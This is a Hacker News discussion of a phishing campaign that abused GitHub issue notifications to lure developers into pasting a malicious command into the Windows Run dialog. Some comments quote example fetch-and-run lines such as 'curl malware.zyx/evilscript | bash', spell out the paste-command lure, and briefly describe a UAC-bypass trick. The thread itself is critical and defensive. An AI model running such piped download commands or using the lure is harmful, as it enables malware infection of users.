GitHub notification emails used to send malware
(ianspence.com)467 points by crtasm 10 months ago
467 points by crtasm 10 months ago
It’s a numbers game.
Nobody is perfect. The more features of credibility, most likely there will be a higher percentage of conversions. But not everybody has excellent vision, is not time-pressured, and is not tired/exhausted.
There are lots of conditions that make otherwise difficult fraud targets more easy to trick.
And if it can be done at large scale / automated, then small conversion rates turn into many successful frauds (compromised accounts).
I think they’re hoping for coincidences and the higher the numbers the more likely they’ll find one.
I got a real letter from the IRS two days before I got the scam message on my answering machine. The timing was uncanny and I might easily have fallen for it, had I not already dealt with it.
It’s the same for the Chinese language calls, if you speak Chinese it really resonates.
There was a scam in the 90s where you’d call a number and they’d give you sports betting advice. They’d do it for free as a promotion trying to sell their service when you won. They’d tell half the callers bet team A and the other half team B. The numbers made it work.
“Splitting games 50-50 like that—known in the biz as "double-siding"—is the oldest trick in the handicapper's very thick book. That way he knows he has at least some happy customers coming back. “
https://vault.si.com/vault/1991/11/18/1-900-ripoffs-the-ads-...
Agree, I once fell for a scam that I think I otherwise wouldn't because of string of circumstances: Being tired and stressed, it being Christmas time and I had actually ordered stuff but also because I had just upgraded iOS to the first version that put the address bar in Safari on the bottom of the screen instead of the top so I forgot to check the domain!
I've since changed the address bar back to the top…
In the end I didn't loose anything but it was a good wakeup call for sure.
If this was within my first year of owning a GitHub account, I would absolutely fall for this.
It's not much different from setting up your ssh key - something that you have to do; and new users also go through this workflow by copy pasting commands that GitHub sends them.
A few weeks ago someone opened an issue in one of my repos. In under a minute two accounts replied with links to file lockers asking the user to download and try some software to solve their issue. No doubt it was malware. I promptly deleted the comments and reported the accounts to GitHub.
I wouldn’t have fallen for such an obvious ploy, but the original asker seemed like they weren’t particularly technical, judging by the sparse GitHub history and quality of the question. I could see them perhaps falling for that if they were uncritical and too eager to try anything.
I just don't get it, how hard it could be? How expensive this could be? Because lots of times they just pay these damages to the customer, because no one knows how this very secure credit card data was compromised. This baffles me. Someone, please enlighten us, there must be a valid reason - at least from an angle.
Having a bunch of different domains can serve multiple purposes.
In GitHub's case, they already have githubusercontent.com to avoid serving untrusted stuff from their own github.com domain.
Sending marketing or security scanner (potentially very spammy) notification emails from separate domains can help with reputation too, to avoid your main domain getting marked as spam.
These are all legit; Amex having 20 different of domains, half of which smell like phishing, and still sending emails from other domains is just incompetence. Something like marketing people or someone dealing with strategy deciding to do stuff in a certain way, with nobody technical in the room to tell them why that would be a problem. As an example, a friend of mine's organisation wanted to do a SaaS website for their niche, and a separate website to advertise the SaaS (separate domain, visual identity, everything).
I'm old enough to remember ILOVEYOU. During years after that I have seen millions and millions thrown into educating users not to click on wrong things.
Last month I was in conference where the keynote was from CEO of cyber security company. The whole point of the speech was that we need more money because in some cases more than 80% users still fall into email scams. My very serious question to the speaker was - if after many millions and almost 25 years more than 80% users still click on wrong links, then maybe we do something really wrong?
We are, but people want convenience.
Try to get a company built around Word to use another tech that doesn't requires running unsigned macros from emails...
You literally can't, they lough at you for saying things like "don't use Microsoft"
In my opinion, these products are nothing but scams. I can’t use any links from work emails on my phone because I can’t see the domain of a link without previewing the page. IT told me I needed to change system-wide settings to disable previewing webpages in every app on my phone. Not happening.
Fortunately, my work email supports IMAP, so I can use a script to scan my inbox for fake phishing emails and delete them.
We are not not doing anything wrong, but we are completely neglecting the attacker side.
All our actions are defensive.
Look at our physical security. Basically nothing is reasonably protected. 99% of stuff (buildings, locks) can be broken into with tools available in any home depot.
The key reason why it doesn't happen that much is because it's possible to find the attacker.
Why can any scammed just create a website without any traceability? It wouldn't be foolproof, but it would raise a bar.
> Why can any scammed just create a website without any traceability?
because jurisdictional challenges.
Not to mention that this very same traceability would be abused by some other authoritarian gov't to track down dissidents for example.
There's no real way to systematically have good security, if the human element is the weakest link tbh. Securing windows is not a technical problem, but a social and educational one.
Do you think people should have to get permission to host a server on the internet?
> GIANT Enormous Huge Red Flag #2: captcha asks you to types command in shell. I have no comment on how naive one must be to do this.
I guess critical thinking of devs and wannabee devs has been softened by all the `curl <script> | bash` installation instructions.
They do. Just after seeing instructions to run this, and complying:
> curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
(Yup, .rs is the ccTLD for the Republic of Serbia, of former SFR Yugoslavia)
> captcha asks you to types command in shell. I have no comment on how naive one must be to do this.
someone who knows computers (like a programmer) might not fall for it, but people who do not know computers, but is dabbling could easily fall for it.
The copied command specifically puts in a "user friendly captcha message" into the end, to overflow the run dialog textbox, so that a user who obeyed the instructions will see something vaguely resembling valid captcha verification:
# " ''I am not a robot - reCAPTCHA Verification ID: 93752"
It's quite scary that the scammers have put thought and effort into the method of infiltration, because this is "novel" as far as i have heard.
I can understand clicking on the link while not paying attention, but I do wonder how many people who are signed up on GitHub would follow through with pasting this command. I could understand if elderly non technical people might follow up with it, but this one, I wonder what the rate is.
Just clicking on the link might be enough. Maybe you have a slightly outdated browser with a known vulnerability. Maybe you’re holding off on installing an update just to be sure it won’t break anything.
And even if everything is up to date Pwn2Own regularly shows that having a user browse to a website is enough to get root access. Thankfully most people don’t have to worry about this since they are unlikely to attract the attention of someone with that level of resources.
If I had those kinds of resources I might even put a captcha on the site that asks the user to do something incredibly stupid just to make them think they were in the clear.
All valid points, but I will say services don't help in this situation - I received an email from @redditmail.com recently, which is real and part of reddit but feels off on first glance.
Couple that with gmail having no way to show the full email address (by default - I know you can hover, etc.), rather than the sender-provided "sender name", and my false-positive rate for at least double checking and confirming the sending domain is kinda high...better that than a bunch of false-negatives of course.
>GIANT Enormous Huge Red Flag #2: captcha asks you to types command in shell. I have no comment on how naive one must be to do this.
Funnily enough there's at least one legit captcha that has you do this: if you have JavaScript/WASM disabled it gives you the option of running the anti-DDOS proof-of-work in a shell and pasting the result in a textbox.
You assume the scammers want everyone to fall for this trick.
The reality is different - they leave these huge red flags so that people who aren’t very bright or careful will fall for it.
That is the same reason why scammers put spelling mistakes in emails - not because they don’t know how to use spellcheck, but because they want to filter out those who would spot these mistakes.
They want to scam careless, gullible, „stupid“ people, not someone who is careful enough to spot security red flags.
> Do people really fall for scam like that?
Not only does it ask you to copy and paste a command in shell, but Windows apparently warns you that it will run with admin privileges.
Aside from that:
> Nowhere in the email does it say that this is a new issue that has been created, which gives the attacker all the power to establish whatever context they want for this message.
What about the non-user-controlled "(Issue #1)" in the subject line?
Red flag #3: "Github Security Team"
A legitimate GitHub email would never mis-capitalize the company name like that. It would be GitHub, as shown in the footer that the attacker does not control.
OTOH, this is a very common mistake. The article alternates between the correct GitHub and the incorrect Github. So it would be easy to not notice that error.
> Do people really fall for scam like that?
Yes. It wouldn't be a thing otherwise. I know at least two fairly intelligent people, one literally being a Mensa member, who fell for sextortion emails and got their files encrypted.
Scareware is based on social engineering, and is crafted to trigger emotional response, not educated one.
Just to let you know, even github themselves use multiple domains instead of just subdomains of github.com (see githubnext.com).
So, I wouldn't blame the victims here if the service itself does not realize why that is not such a good idea.
Yeah.. I don't like when companies do that. I usually Google the domain first to see if it's legit, but even that isn't foolproof.
Honestly i would have typed commands in shell if "captcha" asked me for it. Just to see the scale of outcome's awfulness.
I'm almost bored enough to just start installing weird malware for research and funsies
Everyone has been trained for years to do this:
curl http://obscure.url?random-string | sh
No they haven’t, they’ve been trained to do
curl https://url-of-well-known-project | sh
or even this:
git clone http://github.com/unknown/repo.git && cd repo && npm install
I guess you don’t think the Rust programming language is a serious project, then?
My issue is the bypassing of the systems package manager. Doing so will result on files spread somewhere over the system. How do you uninstall such thing properly? How do you update (or even know) it's dependencies? Will it break because I uninstall or update one of it's dependencies?
Linux has a very good package management for many years. I see absolute no reason to break this by creating shell installers.
I got a much more convincing email from PayPal recently, someone sent a quote (apparently a feature that can be used unsolicited), and set their company name to something like "PayPal need to get in touch about a your recent payment of $499.00, please call +1-....", so this is most of the text at the top because their quotes email is "<name> is sending you a quote for $xxx".
This email came from the real PayPal.com, how they haven't gotten on top of usernames like that is beyond me for a payment processor. I reported it to them but haven't heard anything back, hopefully they banned that account but they should ban all names like that.
This email honestly was formatted to look like a legit PayPal email, I have to imagine that scam will trick a lot of normal people.
Get in touch, see my bio website, if you want the email.
Had this happen to me over a year ago so I assume reporting it to them did nothing :)
I got a very similar thing: a legit email from PayPal, but it's an invoice and not a quote. And when you login to PayPal the website shows nothing.
Why would paypal email you to call them ? If they want something from you they should either call you or email it to you or show it in their portal.
I don't know, most PayPal customers wouldn't know either. And the point is that these emails are designed to look legit and also scare you into taking action without thinking about it too hard. And this particular email bypasses a lot of the rules in general consciousness about phishing like "check for spelling mistakes, check the sender email, does it look official, does it mention you by name", all of those boxes are ticked. This is only possible because PayPal clearly aren't actively fighting against these kinds of attacks.
>This email honestly was formatted to look like a legit PayPal email,
this is why anything but plain text should be blocked in emails (besides security reasons). anybody with 5 minutes of HTML experience can create "legit looking" emails.
Press Win+R, CTRL+V <enter>
I could see junior developers falling for this. Hey it's Github, it's legit right? We get security notifications every second months about some lib everyone uses etc.
"Oh look, captcha by running code, how neat!"
People need to stop actioning any links from emails and/or believing that any content in an email has legitimacy. It doesn't. That's problem number 2.
Problem number 3, Windows still let you root a machine by 1 line in powershell? What the @$$%&%&#$?
Github might need to stop people putting links in issues without being checked by automated services that can validate the content as remotely legitimate. They're sending this stuff to people's email, don't tell me they're not aware this could be used for fishing! That's cyber security 101, in 2015.
Finally, Github, in being unable to act on the above, may need to better strip what they email to people, and essentially behave more like banks "you have a new issue in this repository..." and that's that. You then go there, there is no message, ok great. That would have taken care of this issue...
It seems Github needs to graduate a bit here.
"I could see junior developers falling for this" - I can see all sorts fucking up, not just juniors. It is the way of things.
"I don't think that...". I think that you have to train your troops effectively in what is harmfull.
"Windows" - yes. I have been asked by at least two of my employees to get them away from Windows. I'll do my best. Its been a long running project but I will succeed.
> Problem number 3, Windows still let you root a machine by 1 line in powershell? What the @$$%&%&#$?
sigh It needs to be run under an account with admin privileges for that. The shield on the "Run" dialog screenshot clearly indicates what it was taken under a user with admin privileges and UAC disabled.
Come on, now cry what Linux still let you root a machine by 1 line in curl malware.zyx/evilscript | bash.
> it was taken under a user with admin privileges and UAC disabled.
you will have to accept that users either ask this UAC to be turned off, or it gets turned off by the original installer of the windows for the user (presumably non-technical user).
It's like telling traffic accident sufferers that they should've put on a seatbelt. True, but pointless.
> you will have to accept that users either ask this UAC to be turned off
Running with UAC disabled under an admin account?
That's not only a lack of a seatbelt, but wearing a flip-flops too.
And I'm eating my dogfood too, I'm running under a regular user since migrated from Vista, both on personal and work devices. Sometimes it's PITA, sure, but it's manageable.
I've started disabling the Run dialog for non-technical users, but unfortunately a GitHub attack targets users who likely have a real use for it sometimes.
The clipboard strategy feels like it should be easy to block too, most scammers just convince people to type a well-obscured URL into the Run dialog manually over the phone.
That might add another step but I think it is unlikely to help reduce the number of victims. If someone is willing to bring up the run prompt and paste whatever they have in the clipboard they are also likely to be social engineered into clicking yes on a dialog that tells them to allow clipboard modification.
This captcha is so bad... I'm gonna automate the solving of this captcha so whenever my browser shows me "Press Win+R, CTRL+V <enter>", it automatically runs cmd.exe with the clipboard content so I can get to the site content faster and with no interruption.
Yes, I'm a 10X Windows user.
>Windows still let you root a machine by 1 line in powershell? What the @$$%&%&#$?
You say it's a problem, I say it is a virtue.
We can "root" Windows because we are root, specifically a user in the Administrators group because the first user account configured by Windows Setup is always an administrator account.
This is a virtue. We can do whatever we want with the computer we own and use. This is freedom par excellence that literally every other operating system family today wishes they could do without getting shouted down.
In an era of increasingly locked down operating systems that prevent us from truly owning our computers, administering them, Windows just lets us do that. I hope to god this never changes.
>>Windows still let you root a machine by 1 line in powershell? What the @$$%&%&#$?
> We can do whatever we want with the computer we own and use.
There is a difference between what an owner of a computer can and should be able to do, verses what an arbitrary actor can do to a computer they do not own through subterfuge. It is the responsibility of an Operating System to facilitate the former and guard against the latter.
MS Windows has a poor history of being able to do either.
Remember the old saying: With great power comes great responsibility.
Windows just lets us do anything and everything, and it's up to us how we want to secure it if at all.
Every other operating system family tries to realize security by straight up locking the user, the administrator, out of his own computer. They still get compromised, by the way.
Windows has absolutely succeeded and continues to succeed in enabling the user, including security if he so desires. This is the reason Windows became the dominant desktop OS. The others? Nope on both counts. The Linux world in particular always screams about user freedom, yet ironically it's Windows and its community that actually makes that freedom a reality.
Once more: I hope to god this never changes.
> This is a virtue. We can do whatever we want with the computer we own and use.
You certainly don't need to do it with a single line of powershell though. At least, not without intentionally opting into it. For the most part on a daily basis I just want to use my computer, not modify it.
Anyway, at the very least most functionality should be sandboxed so that if someone does something without your consent, it can't do much damage. Though this wasn't the original intention, leveraging user privileges and sandboxing applications by user is an effective way to do this.
Besides what kind of moron would choose proprietary software if they wanted control of their machine? It's inherently a contradictory impulse.
> At least, not without intentionally opting into it.
just to clarify in Windows, users with administrative privileges will in theory still ask the user to opt-in every time before any process is elevated to administrative rights. Its just that Windows security is so awful that people have found many different creative ways around it over the years, but those are (sometimes) getting patched by Microsoft so they are considered "bugs".
For example a process stores its executable path in memory writable by itself, so you could start a process that replaces its executable string to "C:\Windows\explorer.exe" and it would (for whatever reason) bypass the "ask for administrative rights" dialog popup. This is the sort of "security" that Windows is built around to its very core.
https://github.com/hfiref0x/UACME
> "This tool shows ONLY popular UAC bypass method used by malware, and re-implement some of them in a different way improving original concepts. *There are different, not yet known to the general public, methods. Be aware of this;*"
(also i think you are responding to a troll btw)
Can be summarized with: Don't click on links in email.
So is github-scanner.com (and github-scanner.shop) still the same malicious party? It seems to be. Funny that their DNS is hosted by Cloudflare (who, famously, don't host anything, because they think we're all dumb). Cloudflare, who take responsibility for nothing, has no way to report this kind of abuse to them.
The domain which hosts the malware, 2x.si, both uses Cloudflare for DNS and is hosted by Cloudflare. At least it's possible to report this to Cloudflare, even though they rate limit humans and have CAPTCHAs on their abuse reporting forms.
Sigh. Thanks to Cloudflare, it's trivial these days to host phishing and malware.
Cloudflare is way more responsive to abuse requests than 95% of country level DNS registrars. Having experience working with both.
I don't know how effective and quick to respond but there is a way to report malware [1]
Extracting from the page
> Which category of abuse to select > Phishing & Malware
I haven't tested the form, but they do claim you can report abuse of the registrar with some of the options, perhaps they've changed it?
Failing that:
> If Cloudflare is listed as the registrar on an ICANN WHOIS listing, you also can email reports related to our registrar services to registrar-abuse@cloudflare.com
> Don't click on links in email.
Not saying you're wrong per se, but isn't it more so summarized with "don't fall for a 'CAPTCHA' that requires you to paste code into the window labeled 'This will run with administrative privileges'?"
This is more so a grumble than a serious comment on security, but agh, it's always bugged me that the metric for failing phishing tests is "clicked on any link in the email" and not, you know, entered credentials into the phish site, or downloaded and opened a file. Like, I get it, it's much easier to teach nontechnical users to simply not click bad links than that other stuff - and browser vulns do exist - but it still vaguely annoys me.
I feel like I've seen countless posts like this one that end in the user entering creds, giving the browser some weird permission, downloading some file (sometimes straight-up an executable), or in this case, running a command. I don't know if I've seen a single one that ends in "and then they clicked the link and it popped a browser 0-day and that was the end of that".
Web browsers are a wide attack surface, yes, but they're also... intended for browsing the Internet. Most people click through links pretty haphazardly as they're doing work or researching a topic. Defense in depth and all, but I feel like a security policy that holds "don't visit any evil websites ever" as a core tenet is pretty flawed.
So how do you not click links to confirm your email for a new account?
Rather one could use Qubes OS and only open links in disposable VMs and never enter info beyond that
Thats basically what I do when I get emails to confirm my email address for a new account
One can't always avoid clicking links can they?
> So how do you not click links to confirm your email for a new account?
Fair question, but the "don't click links in email" is for emails that you don't expect. And sure, that's an unsatisfying answer because it's hard to communicate this wisdom to your grandmother.
I think the best answer is defense-in-depth. Ensure you use updated email clients, browsers, and OS, and employ a dns blocker like a pihole or equivalent public service.
For less-savvy people a device like an iPad or Chromebook can be a reasonable defense.
If I'm being honest, "don't click links in email unless you were expecting that particular email message" seems easier for grandma than "update x, y, and z, and use Pihole" unless you want to administer her network and devices. But maybe you're saying that an iPad/Chromebook can mitigate all of the above needs? A little bit.
Anyway, while I haven't heard of any cases yet, it wouldn't surprise me if senders of phishing email someday manage to deliver messages shortly after detecting some traffic (DNS lookup?) that you legitimately make with the entity the email is spoofing. Then you're expecting it, roughly.
> The attacker quickly deletes the issue
I realized I have never deleted an issue I started but doesn't people with admin access the only with ability to delete the issues on a repo? [1]. So actually there is a trace for that issue in the repository. Same thing for Pull requests.
[1] https://docs.github.com/en/issues/tracking-your-work-with-is...
Maybe GitHub had already deleted it as malicious, but the email was already delivered.
I got this on two org repo’s yesterday. About an hour after the email, I checked and it was gone. I wanted to report it, even though GitHub scam reports are so very unsatisfying (weeks go by, then random email about how they took some action).
One very simple measure I hope they implement is just not sending emails for unverified spam like this. I’d argue a majority of issues or comments do not need instant emails. Even one hour delay could help in combating abuse like this if they had any sort of reasonable moderation rules.
Their claim that nothing tells you the email corresponds to the new issue is wrong, the "(Issue #1)" in the title means exactly that. I have actually received the same email myself and immediately recognized it as a new issue created on the repo. This user is obviously not used to GitHub issues as is made clear by the fact that this is the first issue on this repo. I guess GitHub needs to do a better job teaching new users.
True, but I have worked at companies who employ users that maybe aren't entirely up to speed on the technical details and they have GitHub account's for submitting bug reports. This would very easily fool some of these people.
Technical people might spot this, but that also isn't a free pass for GitHub to not do better here.
I received one of these notifications this morning and promptly ignored it. I had to laugh because it was about this repo specifically: https://github.com/kyledrake/theftcoinjs
Just this morning I logged a bug on a GitHub repo and within a minute someone responded with something to the effect of:
Try this, I think it will fix your issue (install GCC if you need a compiler): (Bitly link redirecting to zip file on mediafire) Pass: (something)
GitHub processed my abuse report within an hour and removed all posts by that user.
OMG! I was getting similar GitHub notification emails, saying detected vulnerability in your repo, but never figured it out as fake before this news, anyway I never clicked because I'm a lazy programmer :), once it's written it's written I do rewrite the code but don't find bugs and fix in my code. :D
The GitHub security alert digest[1] is a real thing. It's a feature of GitHub where they report security vulnerabilities in your project's dependencies. For example, if you use python and you have specified requests library in your requirements.txt, GitHub will send you emails about disclosed vulnerabilities in that library, urging you to upgrade to a higher version where it's fixed.
[1] https://docs.github.com/en/code-security/dependabot/dependab...
I don't understand whats special about this particular attack!>:( When I read the title I thought some automated GitHub emails were forged to sneakily point to a fake GitHub site or something. An obvious (for tech-savvy users) link pointing to an obvious malware (please copy and execute this code to solve the captcha.) If the people you are targeting fall for this why not send an old fashioned spam email with fake headers or via some hacked Wordpress installation? I guess using GitHub notifications is creative but in the end not much different than like sending a facebook message with a fake link, and the user getting an email notification with the message? The analysis of the malware once downloaded was certainly interesting, though!:)
Once they introduce that, the texts will become more varied, and links, possibly, too.
There are more possible next steps, which would make creating accounts for spamming more expensive, but they will also inconvenience well-meaning new users.
I suspect that unless the problem of malicious spam from GitHub comments becomes rather serious, acting on the case by case basis may be the correct solution.
> Once they introduce that, the texts will become more varied
I’ve said for some time that, while LLMs are varying levels of useful for a lot of people, it’s practically tailor made for spam and phishing. I can’t think of any “product-market-fit” as good as that.
For instance: Imagine combining a leak of personal data from your favorite data broker (who knew that this would come back and bite), with an LLM to bypass spam filters and perform phishing attacks with eerie believable social engineering behind it. All for next to no money.
It's quite sad that in 2024 we still have people falling for the simplest tricks.
This is almost as easy as it was to call someone and asking them for the number of the modem on their desk and their logins back in the bad old days.
Considering the target platform I'm not overly surprised though.
I turned off most GitHub emails and mostly use the Notification Centre for discovering things I need to know about. It's not entirely proof against phishing this way, but it doesn't get to use email to appear more legitimate.
This has happened for a while. In February of this year, the same attack vector was used in an attack to trick developers into thinking that they'd got a job offer from GitHub: https://www.xorlab.com/en/blog/phishing-on-github
It's worth checking every link you get even if it's from a trusted source, like GitHub... and to be able to restore the data, it's worth having a backup
Months ago I got crypto ads through a similar approach, some fake new account @-ing hundreds of users in an issue and then the issue is removed. The net effect is that the ads become unblockable in your email box (It's from GitHub!).
Maybe devs' target value in general has growing to a point where the openness of the system is more of a vulnerability than service.
> In text form (link altered for your safety)
Might want to change the image too, macOS recognises the link in that and makes it clickable. I’d say that’s more dangerous than modifying it in the text of the post, you could just as well include a non-clickable text link.
One one hand, I can see the captcha is easy to fall for. On the other, nothing says "prove you aren't a machine" like "run this code that a machine could easily run."
>verification steps >winkey+R >Ctrl+V >enter
Of all things that seem legit, this seems the legitest.
If your method of infecting your victim is having them paste and run a random command on their terminal, software developers is probably the worst group of people to be targeting.
No it isn't. Package managers verify the cryptographically signed package. That means the package can be built on a secure server, and then if a mirror becomes malicious or gets compromised, the malicious package won't have a valid signature so the package will not be installed. Running curl and piping it into sh means that not only could a malicious mirror or compromised server execute anything they want on your computer, but they could even send a different script when you curl it into sh vs when you view it any other way, making it much harder to detect[0].
[0] https://web.archive.org/web/20240213030202/https://www.idont...
You just need a handful of people to fall for it, and a population of a hundred million daily active users on GitHub means there are always a handful of people to trick.
My only encounter with this is, that I am annoyed if I open web dev tools on a new browser profile/guest profile, but am interrupted in my workflow because first I have to type "allow pasting" every single time. (Why I do this quite often? To be sure to have a clean state when debugging a web app) And all this, because some people cannot think, before they follow obscure instructions send to them by a untrusted party?
Why can't we have nice things again? Because of abusers yes, but also because of sheep people.
Hard disagree. Developers aren't magically tech wizards, many of them will struggle to install a printer. I've seen one spend fifteen minutes on adding a keyboard layout in Windows last week (granted, the process was very unintuitive).
It's this "I'm a developer, I'm too smart to fall for phishing" mindset that makes developers an excellent target for malware.
These hackers need to work on the rest of their funnel lmao. Getting me to click the link would be easy, but running that script? Never in a million years!
If you're stupid enough to paste something off a random website (that you discovered through a random email link) into the command line (and then execute it), then you deserve what happens next. At some point the end user is to blame.
I also have no clue why any reasonable person would refer to that monstrosity as a CAPTCHA.
This is neither hijacking notifications nor sending malware. This is someone including a link in a message on a ticketing system open to the public, and then someone clicking on the link and downloading malware.
Do people really fall for scam like that?
First, I assume the author knows the email came from github, as the screenshot does not show this very clearly. If that's the case:
Red flag #1: email links to a variation of real domain. If you don't have information on who github-scanner.com is, it is pretty safe to assume it's a scam , just because it sounds like a real website.
GIANT Enormous Huge Red Flag #2: captcha asks you to types command in shell. I have no comment on how naive one must be to do this.